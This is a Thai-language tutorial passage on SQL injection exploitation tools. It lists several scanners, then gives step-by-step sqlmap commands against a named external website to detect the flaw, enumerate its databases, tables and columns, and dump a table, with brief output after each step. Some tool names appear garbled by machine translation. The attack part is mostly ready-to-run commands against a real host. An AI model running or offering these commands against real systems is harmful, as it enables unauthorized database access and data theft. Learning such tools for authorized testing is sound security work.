ในส่วนนี้ LuckyTemplates จะแนะนำเครื่องมือบางอย่างที่ใช้ในการใช้ประโยชน์จากSQL Injection
ปัจจุบันมีเครื่องมือสแกนช่องโหว่ด้านความปลอดภัยมากมาย (รวมถึงการแทรก SQL) เครื่องมือเหล่านี้ช่วยให้สามารถตรวจจับและใช้ประโยชน์จากช่องโหว่ของการแทรก SQL ได้ค่อนข้างแข็งแกร่ง เครื่องมือหาประโยชน์จากช่องโหว่การฉีด SQL อัตโนมัติที่ใช้กันทั่วไปบางส่วน ได้แก่:
- ตารางฐานข้อมูล
- The Mole (ขุดข้อมูลของคุณ)
- ฮาวีจ
นอกจากนี้ยังมีเครื่องมืออื่นๆ ที่คุณสามารถอ้างอิงได้ เช่น Netsparker, jSQL Injection, Burp, BBQSQL...
ด้านล่างนี้เป็นการสาธิตการใช้ Sqlmap เพื่อใช้ประโยชน์จากการฉีด SQL พื้นฐาน
คุณดาวน์โหลด Sqlmap ได้ที่ http://sqlmap.org/
Sqlmap เขียนด้วยภาษา Python ดังนั้นหากต้องการใช้เครื่องมือนี้ คุณจะต้องติดตั้ง Python คุณสามารถดาวน์โหลด python ได้ที่ http://www.python.org/downloads/
ก่อนอื่น คุณต้องระบุเว็บไซต์เป้าหมาย ที่นี่ฉันมีเป้าหมายต่อไปนี้: http://zerocoolhf.altervista.org/level1.php?id=1 (หน้านี้ปิดให้บริการแล้ว)
ขั้นตอนที่ 1 : เปิด cmd แล้วพิมพ์คำสั่งต่อไปนี้:
python sqlmap.py –u “http://zerocoolhf.altervista.org/level1.php?id=1”
sqlmap จะตรวจจับช่องโหว่ของเป้าหมายและให้ข้อมูลเกี่ยวกับช่องโหว่
ขั้นตอนที่ 2 : เมื่อเราพิจารณาแล้วว่าเว็บไซต์เป้าหมายมีช่องโหว่ในการแทรก SQL เราจะดำเนินการค้นหาชื่อฐานข้อมูลต่อไป
python sqlmap.py –u “http://zerocoolhf.altervista.org/level1.php?id=1” --dbs
=> ฐานข้อมูล: my_zerocoolhf
ขั้นตอนที่ 3 : หลังจากกำหนดชื่อฐานข้อมูลแล้ว เราจะดำเนินการค้นหาชื่อของตารางในฐานข้อมูลต่อไป
python sqlmap.py –u “http://zerocoolhf.altervista.org/level1.php?id=1” --tables –D my_zerocoolhf
=> มี 2 ตารางในฐานข้อมูล: auth และ book
ขั้นตอนที่ 4 : กำหนดชื่อของคอลัมน์ในตาราง
python sqlmap.py –u “http://zerocoolhf.altervista.org/level1.php?id=1” --columns –D my_zerocoolhf –T book
=> ระบุคอลัมน์ในตารางหนังสือ: ผู้แต่ง, รหัส, ราคา, ชื่อเรื่อง
ขั้นตอนที่ 5 : ดัมพ์ข้อมูลจากตาราง
python sqlmap.py –u “http://zerocoolhf.altervista.org/level1.php?id=1” --dump –D my_zerocoolhf –T book
=> เราก็ได้ฐานข้อมูลของเว็บไซต์เป้าหมายแล้ว
ด้านบนเป็นการสาธิตพื้นฐานของการใช้ sqlmap เพื่อใช้ประโยชน์จากข้อผิดพลาดในการฉีด SQL คุณสามารถเรียนรู้เพิ่มเติมเกี่ยวกับตัวเลือก sqlmap ได้ที่ https://github.com/sqlmapproject/sqlmap/wiki/Usage เพื่อรองรับการหาประโยชน์ การหาประโยชน์จากการฉีด SQL